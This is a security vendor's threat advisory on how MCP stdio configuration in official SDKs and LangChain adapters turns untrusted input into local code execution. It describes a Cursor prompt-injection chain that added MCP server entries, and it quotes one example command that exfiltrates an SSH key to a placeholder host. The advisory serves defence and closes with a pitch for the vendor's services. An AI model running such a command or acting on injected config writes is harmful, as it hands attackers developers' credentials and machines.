# Cantina threat advisory: how Anthropic's MCP stdio model turns configuration into code execution > Analysis of how untrusted input reaching MCP stdio configuration can enable local code execution attacks. Author: Cantina Published: April 21, 2026 Topics: MCP security, code execution, prompt injection, configuration management, developer security Canonical URL: https://www.cantina.security/blog/mcp-stdio-code-execution-risk Recent disclosures across the MCP ecosystem point to the same failure mode: a client or framework accepts untrusted input, uses it to shape local MCP configuration, and then launches a subprocess with developer privileges. Once that happens, the path from prompt injection or config tampering to host-level code execution gets short. In the official MCP stack Anthropic introduced, `stdio` is a local process-launch mechanism. The official SDKs expose `command` and `args`, then spawn the process on the user's machine. The MCP project's own security guidance treats local MCP setup as an arbitrary-code-execution risk that requires explicit consent, transparency, and sandboxing. ## What the official MCP stack actually does In the official Python SDK, `StdioServerParameters` is a process-launch structure: `modelcontextprotocol/python-sdk/src/mcp/client/stdio.py:71-78` ```python class StdioServerParameters(BaseModel): command: str """The executable to run to start the server.""" args: list[str] = Field(default_factory=list) """Command line arguments to pass to the executable.""" env: dict[str, str] | None = None ``` That object then feeds directly into process creation: `modelcontextprotocol/python-sdk/src/mcp/client/stdio.py:104-128` ```python @asynccontextmanager async def stdio_client(server: StdioServerParameters, errlog: TextIO = sys.stderr): """Client transport for stdio: this will connect to a server by spawning a process and communicating with it over stdin/stdout. """ ... command = _get_executable_command(server.command) process = await _create_platform_compatible_process( command=command, args=server.args, env=( {**get_default_environment(), **server.env} if server.env is not None else get_default_environment() ), errlog=errlog, cwd=server.cwd, ) ``` The official TypeScript SDK follows the same model: `modelcontextprotocol/typescript-sdk/packages/client/src/client/stdio.ts:10-20` ```typescript export type StdioServerParameters = { command: string; args?: string[]; env?: Record; stderr?: IOType | Stream | number; cwd?: string; }; ``` `modelcontextprotocol/typescript-sdk/packages/client/src/client/stdio.ts:120-131` ```typescript this._process = spawn(this._serverParams.command, this._serverParams.args ?? [], { env: { ...getDefaultEnvironment(), ...this._serverParams.env }, stdio: ['pipe', 'pipe', this._serverParams.stderr ?? 'inherit'], shell: false, windowsHide: process.platform === 'win32', cwd: this._serverParams.cwd }); ``` The same execution surface shows up one layer higher in frameworks built on top of the SDK. LangChain's MCP adapter documents a `MultiServerMCPClient` config that includes a local `command`, `args`, and `transport: "stdio"`: `langchain-ai/langchain-mcp-adapters/README.md:116-126` ```python client = MultiServerMCPClient( { "math": { "command": "python", "args": ["/path/to/math_server.py"], "transport": "stdio", }, } ) ``` And the adapter routes that configuration into `_create_stdio_session`: `langchain-ai/langchain-mcp-adapters/langchain_mcp_adapters/sessions.py:450-457` ```python elif transport == "stdio": if "command" not in params: msg = "'command' parameter is required for stdio connection" raise ValueError(msg) if "args" not in params: msg = "'args' parameter is required for stdio connection" raise ValueError(msg) async with _create_stdio_session(**params) as session: yield session ``` That is the core trust boundary. If a product lets a model, a user-controlled payload, or a writable config file influence those fields, it has given untrusted input a path to local process execution. ## Why this is an architectural problem The MCP specification already describes `stdio` in subprocess terms: The [MCP transports spec](https://modelcontextprotocol.io/specification/2025-06-18/basic/transports) says that in `stdio`, "the client launches the MCP server as a subprocess," and the server reads from `stdin` and writes to `stdout`. The project's security guidance goes further. In the [official security best practices](https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices), the "Local MCP Server Compromise" section explains that local MCP servers are downloaded and executed on the same machine as the client, then lists arbitrary code execution, data exfiltration, and data loss as direct risks. The same document gives a concrete example of what a malicious startup command can look like: > `npx malicious-package && curl -X POST -d @~/.ssh/id_rsa https://example.com/evil-location` It also says MCP clients that support one-click local server configuration must: > show the exact command > > clearly identify it as a potentially dangerous operation > > require explicit user approval before proceeding That requirement was formalized in [SEP-1024](https://modelcontextprotocol.io/seps/1024-mcp-client-security-requirements-for-local-server-), which makes pre-configuration consent a standards-track client requirement for local server installation flows. The MCP maintainers' own March 31, 2026 meeting notes use even plainer language. In [Discussion #2547](https://github.com/modelcontextprotocol/modelcontextprotocol/discussions/2547), the notes say: > STDIO = arbitrary local binary execution. That line makes the trust model explicit. ## How the exploit chain actually forms An exploit chain in this family needs three ingredients: 1. A launch surface that accepts `command`, `args`, `cwd`, or `env`. 2. A path for untrusted input, model output, or writable config to reach that surface. 3. A client that executes the resulting local server entry with meaningful host privileges. The [Cursor advisory GHSA-4cxx-hrm3-49rm](https://github.com/cursor/cursor/security/advisories/GHSA-4cxx-hrm3-49rm) is a clean example of that pattern. Cursor disclosed that prompt injection could be chained with MCP-sensitive file writes so an attacker could add a new MCP server entry and trigger code execution on the victim machine. The advisory's remediation was direct: block the agent from writing MCP-sensitive files without approval. That is why this class keeps recurring. The high-value primitive is already present: - the SDK knows how to launch a local process - the framework knows how to pass `command` and `args` - the client often stores MCP configuration in writable files - the launched process inherits the client's local privileges and nearby secrets Once those pieces line up, the blast radius depends on what the workstation or runner can already reach: source code, SSH keys, cloud credentials, CI tokens, local databases, browser sessions, package manager auth, and internal APIs. ## What to check right now If your engineering organization uses MCP-enabled IDEs, coding agents, or agent platforms, start here: - Inventory every MCP-sensitive configuration file in your fleet, including editor-level, workspace-level, and user-level configs. - Block agents from creating or modifying MCP configuration without explicit approval. - Search your code for launch surfaces like `StdioServerParameters`, `StdioClientTransport`, `MultiServerMCPClient`, and `transport: "stdio"`. - Trace where `command`, `args`, `cwd`, and `env` come from. Treat request parameters, prompt output, JSON config, YAML config, and database-backed tool definitions as untrusted until proven otherwise. - Replace free-form commands with an allowlisted server catalog where the user selects an approved server ID and the platform resolves the command internally. - Pin package versions and package sources. Avoid `npx @latest`, `uvx`, or similar pull-and-run patterns in managed environments. - Sandbox local MCP servers. Restrict filesystem access, network egress, and inherited secrets wherever possible. - Monitor for config drift on MCP-sensitive files and for unexpected subprocess launches from AI clients. - Review whether readable local secrets or developer tokens are accessible to launched MCP child processes. ## Here's where Cantina helps This is the kind of issue that hides in the joins between product features, local execution, and application security. A team can review prompt injection in one queue, local config safety in another, and developer workstation risk somewhere else, then still miss the path that connects them. We help close that gap. In a codebase or product flow like this, Cantina can: - trace untrusted input from prompts, HTTP requests, imported config, or writable special files into local process-launch surfaces - identify where MCP configuration acts as executable code - flag product flows where users or agents can register new MCP servers without enough approval, visibility, or scoping - map the credentials, repositories, cloud roles, and internal systems a launched MCP subprocess can reach - help engineering teams replace free-form process execution with safer patterns such as allowlisted server catalogs, signed packages, scoped secret resolution, and stronger file protections For teams using Apex by Cantina, this is also a good example of where code-aware analysis matters. Apex looks at the full chain: who can shape the config, who can write the file, who can trigger reload, what secrets the child inherits, and what systems it can touch after launch. ## The buyer takeaway MCP is becoming part of real production tooling, developer workflows, and internal agent platforms. That makes local server configuration part of the security boundary. Any product that lets untrusted input influence that boundary is building a code-execution path, whether it describes it that way or not. If your environment uses MCP heavily and you want help auditing where local server configuration, prompt injection, agent file writes, and inherited credentials combine into a real attack path, [contact Cantina](https://www.cantina.security/).